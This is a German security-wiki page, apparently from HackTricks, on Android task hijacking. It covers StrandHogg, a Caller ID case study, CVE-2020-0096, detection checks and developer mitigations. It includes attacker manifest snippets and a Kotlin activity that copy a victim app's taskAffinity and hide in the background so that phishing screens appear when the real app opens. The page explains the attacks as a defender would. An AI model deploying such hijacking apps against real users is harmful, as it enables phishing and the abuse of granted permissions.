Android Task Hijacking
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Task, Back Stack und VordergrundaktivitÀten
In Android ist eine Task im Wesentlichen eine Gruppe von AktivitÀten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe zu erledigen, organisiert innerhalb eines Back Stacks. Dieser Stack ordnet AktivitÀten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste AktivitÀt oben als VordergrundaktivitÀt angezeigt wird. Zu jedem Zeitpunkt ist nur diese AktivitÀt auf dem Bildschirm sichtbar, was sie Teil der Vordergrund-Task macht.
Hier ist eine kurze Ăbersicht ĂŒber AktivitĂ€tsĂŒbergĂ€nge:
- AktivitÀt 1 beginnt als die einzige AktivitÀt im Vordergrund.
- Das Starten von AktivitÀt 2 schiebt AktivitÀt 1 in den Back Stack und bringt AktivitÀt 2 in den Vordergrund.
- Das Starten von AktivitÀt 3 verschiebt AktivitÀt 1 und AktivitÀt 2 weiter nach hinten im Stack, wobei AktivitÀt 3 jetzt vorne ist.
- Das SchlieĂen von AktivitĂ€t 3 bringt AktivitĂ€t 2 zurĂŒck in den Vordergrund und zeigt das optimierte Task-Navigationsmechanismus von Android.
.png)
Task-AffinitÀtsangriffe
taskAffinity sagt Android, zu welcher Task eine Activity bevorzugt gehören wĂŒrde. Wenn zwei AktivitĂ€ten die gleiche AffinitĂ€t teilen, darf Android sie im selben Back Stack zusammenfĂŒhren, auch wenn sie aus verschiedenen APKs stammen.
Wenn ein Angreifer eine bösartige AktivitĂ€t an die Wurzel dieses Stacks platzieren kann, wird jedes Mal, wenn das Opfer die legitime Anwendung öffnet, die bösartige BenutzeroberflĂ€che das Erste sein, was der Benutzer sieht â perfekt fĂŒr Phishing oder missbrĂ€uchliche Berechtigungsanfragen.
Die AngriffsflĂ€che ist breiter, als viele Entwickler denken, da jede AktivitĂ€t automatisch eine AffinitĂ€t erbt, die dem Anwendungs-Paketnamen entspricht (es sei denn, der Entwickler setzt android:taskAffinity=""). Daher nichts zu tun lĂ€sst die App bereits fĂŒr Task-Hijacking auf Android-Versionen vor 11 offen.
Klassisches âsingleTask / StrandHoggâ-Szenario
- Der Angreifer erklÀrt eine AktivitÀt mit:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- Die bösartige App wird einmal gestartet, sodass die Task (mit der gefÀlschten AffinitÀt) in den letzten Tasks existiert.
- Wenn der Benutzer spĂ€ter die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren Wurzel-AffinitĂ€t mit dem Paket ĂŒbereinstimmt, und bringt diese Task einfach in den Vordergrund.
- Die BenutzeroberflÀche des Angreifers wird zuerst angezeigt.
Standard-AffinitĂ€t (kein singleTask) Variante â Caller ID Fallstudie
Die in der Caller ID (caller.id.phone.number.block) Anwendung gemeldete Schwachstelle zeigt, dass der Angriff auch gegen den Standard-standard-Startmodus funktioniert:
- Die Angreiferanwendung erstellt eine gefÀlschte WurzelaktivitÀt und versteckt sich sofort:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // halte die Task in den letzten, aber auĂer Sicht
}
}
- Das Manifest muss nur das Paket des Opfers in
taskAffinitykopieren:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- Sobald der Benutzer die bösartige App einmal installiert und geöffnet hat, existiert eine Task, deren AffinitÀt dem Paket des Opfers entspricht (aber im Hintergrund sitzt).
- Wenn die echte Caller ID-Anwendung gestartet wird, verwendet Android diese Task erneut und bringt
HackActivityin den Vordergrund â Phishing-Fenster/Berechtigungsmissbrauch.
HINWEIS: Ab Android 11 (API 30) platziert das System nicht standardmĂ€Ăig zwei Pakete, die nicht Teil derselben UID sind, in dieselbe Task, wodurch diese spezielle Variante gemildert wird. Ăltere Versionen bleiben anfĂ€llig.
StrandHogg 2.0 (CVE-2020-0096) â Reflexionsbasierter Task-Hijack
Das Sicherheitsbulletin von Google vom Mai 2020 behob eine fortgeschrittenere Variante, die StrandHogg 2.0 genannt wird. Der Exploit beruht ĂŒberhaupt nicht auf taskAffinity; stattdessen verwendet er Reflexion, um die AktivitĂ€t des Angreifers dynamisch an die Spitze jeder laufenden Task einzufĂŒgen und umgeht vollstĂ€ndig die âShared-UIDâ-EinschrĂ€nkung, die mit Android 11 eingefĂŒhrt wurde.
Wichtige Punkte:
- Eine bösartige App ohne Berechtigungen kann, sobald sie geöffnet ist, ĂŒber laufende Tasks iterieren und versteckte APIs aufrufen, um ihre eigene AktivitĂ€t in jede Task neu zuzuordnen.
- Da die AktivitĂ€t nach der Laufzeit eingefĂŒgt wird, können weder
launchModenoch statische Manifestanalyse den Angriff im Voraus erkennen. - Behebt durch das ZurĂŒckportieren einer ĂberprĂŒfung in Android 8.0/8.1/9 (Mai 2020 SPL). Android 10 und höher sind nicht betroffen.
Die Erkennung auf vorgepatchten GerĂ€ten kann mit adb shell dumpsys activity activities durchgefĂŒhrt werden, indem nach verdĂ€chtigen AktivitĂ€ten gesucht wird, deren Paketname von der AffinitĂ€t der Task abweicht.
Die Minderung fĂŒr Legacy-GerĂ€te ist die gleiche wie beim klassischen Task-Hijacking plus LaufzeitĂŒberprĂŒfung (z. B. Aufruf von ActivityManager#getRunningTasks und Validierung des eigenen Paketnamens).
Erkennungs- & Ausnutzungscheckliste
- Statische ĂberprĂŒfung â Ziehen Sie
AndroidManifest.xmlaus der Ziel-APK und ĂŒberprĂŒfen Sie, ob jede<activity>(oder das globale<application>-Element)android:taskAffinity=""(leer) oder einen benutzerdefinierten Wert enthĂ€lt. Tools wie:
# Verwendung von apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity
# Verwendung von AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
- Dynamische ĂberprĂŒfung â Ăffnen Sie auf dem GerĂ€t die Ziel-App und listen Sie die Tasks auf:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
Eine Task, deren Wurzel-AffinitÀt dem Paket des Opfers entspricht, deren oberste AktivitÀt jedoch zu einem anderen Paket gehört, ist ein Warnsignal. 3. Erstellen Sie eine bösartige App wie oben beschrieben oder verwenden Sie Drozer:
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
Minderung
Entwickler sollten:
android:taskAffinity=""auf der<application>-Ebene explizit festlegen (empfohlen) oder jeder AktivitĂ€t eine einzigartige, private AffinitĂ€t geben.- FĂŒr hochsensible Bildschirme die obigen Punkte mit
android:launchMode="singleInstance"oder modernensetLaunchMode-SchutzmaĂnahmen kombinieren. - Die
targetSdkVersionder App aktualisieren und die Android 11-VerhaltensĂ€nderungen durchsetzen, bei denen Tasks standardmĂ€Ăig nicht ĂŒber Pakete hinweg geteilt werden. - Android 12 (API 31) oder höher anvisieren, damit das obligatorische
android:exported-Attribut die Entwickler zwingt, jede extern erreichbare Komponente zu ĂŒberprĂŒfen. - Laufzeit-Selbstverteidigung in Betracht ziehen: regelmĂ€Ăig
ActivityTaskManagerabfragen, um sicherzustellen, dass das Paket Ihrer obersten AktivitĂ€t mit Ihrem eigenen ĂŒbereinstimmt.
Verwandte UI-Hijacking-Techniken
Task-Hijacking wird oft mit oder durch Tapjacking (ĂŒberlagerungsbasierte UI-TĂ€uschung) kombiniert oder ersetzt. Die Forschung von 2025 TapTrap zeigte, dass vollstĂ€ndig transparente animationsgesteuerte AktivitĂ€ten die ĂberlagerungsberĂŒhrungsbeschrĂ€nkungen umgehen können, die in Android 12â14 eingefĂŒhrt wurden, und Benutzer dennoch dazu verleiten können, gefĂ€hrliche Berechtigungen zu gewĂ€hren. WĂ€hrend TapTrap nicht strikt Task-Hijacking ist, ist das Endziel (Phishing-Klicks) identisch â moderne Bewertungen sollten daher beide AngriffsflĂ€chen ĂŒberprĂŒfen.
Referenzen
- https://blog.dixitaditya.com/android-task-hijacking/
- https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
- Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app
- https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06
- Promon â StrandHogg 2.0 (CVE-2020-0096) technical write-up
- USENIX 2025 â TapTrap: Animation-Driven Tapjacking on Android
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


